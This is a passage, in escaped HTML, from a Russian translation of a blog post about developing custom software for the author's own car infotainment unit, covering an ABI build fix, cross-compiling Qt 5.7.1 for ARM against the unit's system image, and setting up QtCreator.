\u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0444\u0430\u0439\u043b\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u0441 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u043c <code>\/\/ uncompleted<\/code>).<\/p>\n<p>  \u0412\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u0432 VS Code \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u0431\u043e\u0440\u043a\u0438!<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/70e\/ac6\/8c7\/70eac68c7c10b6b8846c8240f9f676f1.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/70e\/ac6\/8c7\/70eac68c7c10b6b8846c8240f9f676f1.png\"\/><\/div>\n<p>  \u0422\u0430\u043a, \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u043b\u043e\u043c\u0430\u043b\u043e\u0441\u044c. \u041f\u043e\u043d\u044f\u0442\u0438\u044f \u043d\u0435 \u0438\u043c\u0435\u044f, \u0447\u0442\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u044f \u0441\u043d\u043e\u0432\u0430 \u043d\u0430\u0447\u0430\u043b \u0433\u0443\u0433\u043b\u0438\u0442\u044c. \u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u044b\u043b \u043c\u0443\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c, \u043d\u043e \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u044f \u0432\u044b\u044f\u0441\u043d\u0438\u043b, \u0447\u0442\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u044b\u0439 <a href=\"https:\/\/developers.redhat.com\/blog\/2015\/02\/05\/gcc5-and-the-c11-abi\" rel=\"nofollow noopener noreferrer\">ABI<\/a>, \u043d\u043e, \u043a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043b\u0435\u0433\u043a\u043e. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0432 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430 <code>-D_GLIBCXX_USE_CXX11_ABI=0<\/code>.<\/p>\n<p>  \u041d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0432\u0441\u0451 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043b\u043e\u0441\u044c, \u044f \u0437\u0430\u043a\u0438\u043d\u0443\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 IVI, \u0438 \u043e\u043d\u0430 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430! \u042f \u0441\u043c\u043e\u0433 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u0434\u0432\u0435\u0440\u044f\u043c, \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0442\u0435\u0441\u0442\u044b. (\u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u043c\u0438.)<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/ff9\/55d\/08f\/ff955d08f50ef8be689eb2496826a6b4.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/ff9\/55d\/08f\/ff955d08f50ef8be689eb2496826a6b4.png\"\/><\/div>\n<p>  <\/p>\n<h1>GUI<\/h1>\n<p>  \u0422\u0430\u043a \u043a\u0430\u043a \u044f \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043b \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u0437\u044f\u0442\u044c\u0441\u044f \u0437\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 GUI. \u042f \u043f\u043e\u0442\u0440\u0430\u0442\u0438\u043b \u043c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u043e\u0431\u0445\u043e\u0434 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043d\u043e \u0432\u0441\u0451 \u044d\u0442\u043e \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c <em>\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e<\/em> \u043d\u0435\u043d\u0443\u0436\u043d\u044b\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u044e \u0442\u043e, \u0447\u0442\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e.<\/p>\n<p>  \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0441\u0432\u043e\u0435\u043c\u0443 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0443 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c \u044f \u0437\u043d\u0430\u043b, \u0447\u0442\u043e GUI-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 Qt5 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 Helix \u2014 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u0443\u044e Wind River Systems. \u0415\u0441\u043b\u0438 \u044f \u0445\u043e\u0442\u0435\u043b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 GUI, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0431\u044b \u0442\u043e\u0447\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e, \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 Helix.<\/p>\n<h1>\u041f\u043e\u0434\u0433\u043e\u0442\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c Qt<\/h1>\n<p>  \u0427\u0442\u043e\u0431\u044b \u0438\u043c\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Qt5, \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430 Qt. \u042f \u0434\u043e\u043b\u0433\u043e \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0438\u0437\u0431\u0435\u0433\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Qt, \u043d\u043e \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431.<\/p>\n<p>  \u0414\u043b\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 Qt5 \u044f \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b g++, \u0437\u0430\u0442\u0435\u043c \u0441\u043a\u0430\u0447\u0430\u043b \u0438 \u0438\u0437\u0432\u043b\u0451\u043a <a href=\"https:\/\/download.qt.io\/new_archive\/qt\/5.7\/5.7.1\/single\/\" rel=\"nofollow noopener noreferrer\">Qt 5.7.1<\/a>. \u042f \u0445\u043e\u0442\u0435\u043b \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c Qt5 \u0434\u043b\u044f \u043a\u0440\u043e\u0441\u0441-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 ARM, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0430\u043a\u0436\u0435 \u0441\u043a\u0430\u0447\u0430\u043b \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b <a href=\"https:\/\/releases.linaro.org\/components\/toolchain\/binaries\/4.9-2017.01\/arm-linux-gnueabi\/gcc-linaro-4.9.4-2017.01-x86_64_arm-linux-gnueabi.tar.xz\" rel=\"nofollow noopener noreferrer\">\u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 Linaro GCC 4.9.4<\/a>. \u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b Qt 5.7.1, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u044b\u044f\u0441\u043d\u0438\u043b, \u0447\u0442\u043e \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 \u043c\u043e\u0435\u0439 IVI \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 Qt 5.7 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441 GCC \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 4.9. \u041c\u043d\u0435 \u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u043e\u043b\u0435\u0435 \u0431\u0435\u0441\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043b\u0438\u0437\u043a\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u043c\u0435\u044f \u0441\u0430\u043c\u044b\u0435 \u043d\u043e\u0432\u044b\u0435 \u043f\u0430\u0442\u0447\u0438 \u0431\u0435\u0437 \u0443\u0449\u0435\u0440\u0431\u0430 \u0434\u043b\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>  \u0417\u0430\u0442\u0435\u043c \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c Qt5 (\u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437), \u043d\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u043f\u043e\u043b\u0443\u0447\u0430\u043b \u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438. \u041f\u0440\u0438 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u044f \u0432\u044b\u044f\u0441\u043d\u0438\u043b, \u0447\u0442\u043e Qt \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e root \u043c\u043e\u0435\u0439 IVI, \u043d\u043e \u043e\u0431\u0440\u0430\u0437 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430 \u0434\u043b\u044f \u043d\u0438\u0445. \u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043c\u0435\u0440\u0430 <code>system.img<\/code> \u043d\u0430 1 \u0413\u0411 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 <code>dd<\/code>, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 <code>resize2fs<\/code> \u0438\u0437\u043c\u0435\u043d\u0438\u043b \u0440\u0430\u0437\u043c\u0435\u0440 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 <code>system.img<\/code>, \u0447\u0442\u043e\u0431\u044b \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c \u043d\u043e\u0432\u044b\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e\u043c:<\/p>\n<pre><code class=\"bash\">dd if=\/dev\/zero count=4 bs=256M >> system.img  sudo mount system.img system_image  FULL_SYSROOT_DIR=$(realpath system_image) SYSROOT_MOUNT_DEVICE=$(df | grep $FULL_SYSROOT_DIR | awk '{print $1}') sudo resize2fs $SYSROOT_MOUNT_DEVICE<\/code><\/pre>\n<p>  \u0422\u0430\u043a\u0436\u0435 \u044f \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u043f\u0430\u0440\u043e\u0439 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u043a: \u043e\u0434\u043d\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 libGLESv2, \u0435\u0451 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u0430 \u0432 \u043e\u0431\u0440\u0430\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u043c\u043e\u0433\u043b\u0430 \u043d\u0430\u0439\u0442\u0438 Qt.<\/p>\n<pre><code class=\"bash\">cp system_image\/usr\/lib\/libGLESv2.so.2 system_image\/usr\/lib\/libGLESv2.so<\/code><\/pre>\n<p>  \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0435 \u0443\u0434\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c QtQuick; \u044f \u043d\u0435 \u0431\u044b\u043b \u0443\u0432\u0435\u0440\u0435\u043d, \u043a\u0430\u043a \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043b\u044e\u0434\u0435\u0439 \u0441 \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u043b\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 QtQuick, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u043e\u0441\u0442\u0443\u043f\u0438\u043b \u0442\u0430\u043a \u0436\u0435. \u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u043c\u043d\u0435 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f <code>virtualkeyboard<\/code>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0441\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0437\u0430\u043f\u0443\u0442\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f:<\/p>\n<pre><code class=\"bash\">.\/configure -device arm-generic-g++ -device-option CROSS_COMPILE=\/home\/greenluigi1\/QtDev\/gcc-linaro-4.9.4-2017.01-x86_64_arm-linux-gnueabi\/bin\/arm-linux-gnueabi- -opensource -confirm-license -sysroot \/home\/greenluigi1\/QtDev\/system_image -skip declarative -nomake examples -skip virtualkeyboard<\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b <code>gmake -j4<\/code> \u0438 \u0434\u043e\u0436\u0434\u0430\u043b\u0441\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 Qt. <br \/>  \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0432\u0441\u0451 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u0438 \u043c\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c <code>gmake install<\/code>.<\/p>\n<h1>\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441<\/h1>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0441\u0451 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e, \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b <a href=\"https:\/\/programmingwithstyle.com\/posts\/howihackedmycarpart3\/uploads\/QtDev.zip\" rel=\"nofollow noopener noreferrer\">\u043f\u0430\u0440\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/a> \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0430\u043c\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438. \u0422\u043e \u0435\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u043c\u043d\u0435 \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043d\u043e\u0432\u0443\u044e \u043f\u0430\u043f\u043a\u0443, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b <code>system.img<\/code> \u0432 \u0442\u0443 \u0436\u0435 \u043f\u0430\u043f\u043a\u0443, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c <code>setupDevelopmentEnvironment.sh<\/code>.<\/p>\n<p>  \u0421\u043a\u0440\u0438\u043f\u0442 \u0441\u043a\u0430\u0447\u0430\u0435\u0442 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442 \u043d\u0443\u0436\u043d\u044b\u0435 \u043a\u0440\u043e\u0441\u0441-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u044b, QtCreator \u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u043d\u0443\u0436\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Qt.<\/p>\n<p>  \u0422\u0430\u043a \u043a\u0430\u043a \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 <code>system.img<\/code> \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u044f \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0441\u043a\u0440\u0438\u043f\u0442 \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0435\u0440\u0435\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439.<\/p>\n<p>  \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0451 \u0431\u044b\u043b\u043e \u0433\u043e\u0442\u043e\u0432\u043e, \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c QtCreator \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u043c\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.<\/p>\n<h1>QtCreator<\/h1>\n<p>  QtCreator \u2014 \u044d\u0442\u043e IDE, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Qt. \u042f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0438\u0437 apt \u0438 \u043d\u0430\u0447\u0430\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f D-Audio.<\/p>\n<p>  \u0412 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 QtCreator \u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u0434\u0432\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430 \u2014 \u043e\u0434\u0438\u043d \u0434\u043b\u044f C, \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043b\u044f C++ \u2014 \u0438 \u0443\u043a\u0430\u0437\u0430\u043b \u0438\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 GCC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0438\u0437\u0432\u043b\u0451\u043a \u0440\u0430\u043d\u0435\u0435.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" 